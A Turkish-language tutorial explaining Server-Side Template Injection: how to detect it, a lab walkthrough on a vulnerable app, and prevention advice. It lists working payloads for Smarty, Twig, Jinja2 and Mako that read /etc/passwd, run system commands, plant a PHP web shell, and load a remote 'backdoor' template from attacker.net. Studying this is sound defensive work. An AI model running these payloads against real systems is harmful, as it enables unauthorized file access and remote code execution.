Server Side Template Injection (SSTI)

Modern web uygulamaları, kullanıcılarla artan etkileşimleriyle birlikte sürekli olarak gelişiyor ve dinamik, karmaşık yapılar haline geliyor. Bu hızlı değişim içinde, her kullanıcı için özelleştirilmiş veri ve içerik sunma ihtiyacı da önem kazanıyor. Bu sebeple, uygulamalar kullanıcı odaklı içerikleri sunmak için "şablonlar (templates)" kullanmaya başlıyor.

Modern web uygulamalarındaki bu dinamizm, aynı zamanda güvenlik risklerini de beraberinde getiriyor. Özellikle, kullanıcı girdilerinin doğrudan şablonlara (templates) dahil edilmesiyle oluşan SSTI (Server-Side Template Injection) saldırıları, uygulama güvenliği açısından önemli bir tehdit oluşturuyor.

Bu yazımızda Serve Side Template Injetion saldırılarının ne olduğunu, nasıl yapıldığını ve nasıl korunabileceğimizi işleyeceğiz. Ancak buna başlamadan önce şablon motorlarının (template engine) ne olduğuna kısaca değinmekte fayda var.

Template Engine Kısaca Nedir ?

Template Engine, web sayfalarını görüntülerken kullanılan HTML sayfalarının şablon hallerini dinamik olarak işleyip veri modelleriyle birleştiren araçtır. İçerik ve verileri hızlı ve esnek bir şekilde sunabilme yeteneğine sahiptir ve kod tekrarını da azaltarak geliştirme süreçlerini daha verimli hale getirme imkanı sunar.

Server Side Template Injection Nedir ?

Server Side Template Injection, bir saldırganın server tarafında kullanılan yerel şablonlara kötü niyetli veri enjekte etmesi ve daha sonra enjekte edilen kötü niyetli verinin sunucu tarafından yürütülmesidir.

SSTI zafiyeti, sunucudaki hassas verilerin elde edilmesi (Dosya Okuma) ve Arka uç sunucusunun ele geçirip uzaktan kod yürütülmesi (RCE) gibi sonuçlar doğurabilir. Ancak şablon motoruna bağlı olarak SSTI güvenlik açığı her zaman kritik olmayabilir.

SSTI Nasıl Ortaya Çıkar ?

Server Side Template Injection, temelde web uygulamalarında istemcilere HTML sayfaları render etmek için kullanılan Template Engine teknolojisinin yanlış veya bilinçsiz kullanılması sonucu ortaya çıkar. Template Engin kullanırken gerekli güvenlik yapılandırılmasının yapılmaması ve kullanıcılardan alınan input bilgilerine güvenilmesi durumları bu zafiyetin ortaya çıkmasında en fazla rol oynayan iki etkendir.

SSTI Zafiyetini Tanımlama ve Tespit Etme

Özel karakterlerin bir dizisini enjekte ederek herhangi bir şablon motorunun tepki verip vermeyeceğine bakarız.

Payload: ${{<%[%'"}}%\

Uygulanan payload sonrası hata dönüyorsa veya bize yansıyan sonuçta bazı karakterler eksik ise bir şablon motoru tarafından işlendiği anlamına gelir.

Bundan sonraki amacımız farklı syntax yapılarında payloadlar kullanarak kullanılan şablon motorunu tespit etmektir. Çünkü her şablon motorunun kendine özgü bir syntax yapısı ve kullanım yöntemleri vardır.

Tespit için basit örnekler: ${7/0}, {{7/0}}, <%= 7/0 %>

Yukardaki görsel farklı Şablon Motorlarının sözdizimi bilgisine göre deneme yanılma yöntemiyle Şablon Motorlarının nasıl tespit edebileceğine dair bir yaklaşımı anlatıyor.

Örnekte de görüldüğü üzere bir syntax (sözdizimi) denendikten sonra alınan cevaba göre hangi Şablon Motorunun kullanıldığına karar veriliyor. Eğer hiç pozitif yanıt alınmaz ise zafiyetli bir sistem olmadığı kanaatine de varılabilir.

Burada {{5*’5’}} Yükümüzden dönen cevap 55555 ise Jinja2, 25 ise Twig isimli Template Engine kullanılmış oluyor. PHP ile yazılmış olan Twig Şablon Motoru, programlama dilinin doğası gereği bu işlemi gerçek matematiksel işlem olarak değerlendirip string değere bir sayısal değere çevirme işlemi uyguluyor. Python ile yazılmış Jinja2 Şablon Motorunda ise bu tür işlemler stringler üzerinde tekrarlama olarak yorumlar ve çarpma operatörünü bu şekilde işler.

Örnek Yükler(Sample Payloads)

Smarty (Php)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clear Config())}
{system('is')} // compatible v3
{system('cat index.php')} // compatible v3

Twig (Php)

{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}

Jinja2 (Python)

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Mako (Python)

<% import os x=os.popen('id').read()%>${x}

Bu yükleri incelediğimizde programlama dilinin sağladığı doğrudan sistem çağrılarına erişerek sistem üzerinde komut çalıştırma işlemeleri, yine programlama dilinin sağladığı nesneler üzerinden dolaylı olarak ilgili sistem çağrısına erişebilme ve sistem üzerinde komut çalıştırabilme ve gerekirse ilgili kütüphaneyi import edip bu kütüphanenin sağladığı fonksiyonlar üzerinden sistem çağrısı yapabilip sistemde komut çalıştırabilen payload örnekleri olduğunu görüyoruz.

Yukarıdaki resimlerimizde görüldüğü üzere client tarafından gönderilen post isteğinin parametresi ilgili şablon motoruna ait syntax yapısıyla birlikte bir blok belirtilip içerisine yazılıyor. Bu sayede biz bir syntax yazmaya ihtiyaç duymadan doğrudan işlenmesini istediğimiz komutları çalıştırabiliyoruz. Yani payload ımız {{7*7}} iken zaten back-end uygulaması {{input}} şeklinde süslü parantezlerin içerisine yazıyor bizim de tek yapmamız gereken payload ımızı 7*7 olarak yazmaktır. Benzer durumlarda gerekirse ilgili şablon motorunun syntax yapısına uygun olarak bu blokları kapatabilir yeni bloklar açılarak payloadlar bu bloğa yerleştirilebilir. Bu şekilde oluşan SSTI zafiyetinin türü Code Context olarak isimlendiriliyor. Örnek Lab: Portswigger - Basic server-side template injection (code context)

Bu zafiyet back-end uygulamasının kullanıcıdan aldığı input ile şablon motoruna vereceği şablonu doğrudan birleştirmesi sebebiyle oluşmasının yanı sıra kullanıcının input olarak şablon göndermesine izin verip aldığı bu şablonu da şablon motoruna doğrudan verdiğinde de kaynaklanır.

Vulnlab ile Örnek:

  • ${{<%[%'"}}%\ payloadımızı denedikten sonra back-end uygulamasının bir hata fırlattığını farkettik hatadan ve payloadımızdan anlayacağımız gibi burada bir Template Engine çalışıyor ve biz artık paylaodlarımızın yorumlandığını farkettik yani burada bir SSTI zafiyeti var fakat sömürülebilir mi bunu bilmiyoruz.

  • Sömürülebilir olup olmadığını test edebilmemiz için öncelikle hangi Template Enginenin çalıştığını tespit etmemiz gerekiyor. Bunun içinde farklı payloadlar ile adım adım deneme yapıcaz.

  • ilk payloadımızı yorumlamadı ben deneme yanılma yaklaşımı yapılmış görselimiz üzerinden ilerlemeye devam etmek istiyorum. Bu yüzden sıradaki payloadım {{5*5}} olacak.

  • bu şekilde denediğimde payloadım back-end de çalışan Template Engine tarafından yorumlandı ve bana işlenmiş bir çıktı verdi. Böylece sistemin sömürülebildiğini de tespit etmeye yaklaştık çünkü hala ciddi işlemler yapıp yapamadığımızı bilmiyoruz bunu denememiz için hangi Template Engine kullanıldığını bulmamız gerekiyor.

  • resimdeki sırada olduğu gibi bir payload daha deneyeceğiz.

  • Çıktımız yine 25 verdi ve artık Template Engine olarak Twig kullanıldığını tespit ettik. Sonraki payloadığımız Twig e ait bir sistem çağrısı içeriyor ve beklediğimiz çıktıyı verirse sistemi sömürebildiğimizi teyit etmiş olacağız.

  • Görüldüğü üzere web uygulamasının serverinde 'id' komutunu çalıştırdık ve başarılı bir çıktı aldık.

SSTI Nasıl Önlenir ?

Server Side Template Injection saldırısını önlemenin en iyi yolu, hiçbir kullanıcının şablonları değiştirmesine veya göndermesine izin vermemektir.

Aşağıdaki görselde de görüldüğü üzere arka uçta şablonlar ile kullanıcı girdileri birleştirildikten sonra render edilme işlemi yerine placeholder belirlenip render metoduna girdiler parametre olarak verilmelidir.

Kullanıcıların kodunu yalnızca potansiyel olarak tehlikeli modüllerin ve işlevlerin tamamen kaldırıldığı korumalı alan ortamında çalıştırmak (Sandbox).

Görselimizin 16. satırında zafiyetsiz bir render işlemi nasıl yapılabilir gösterilmiş.

Last updated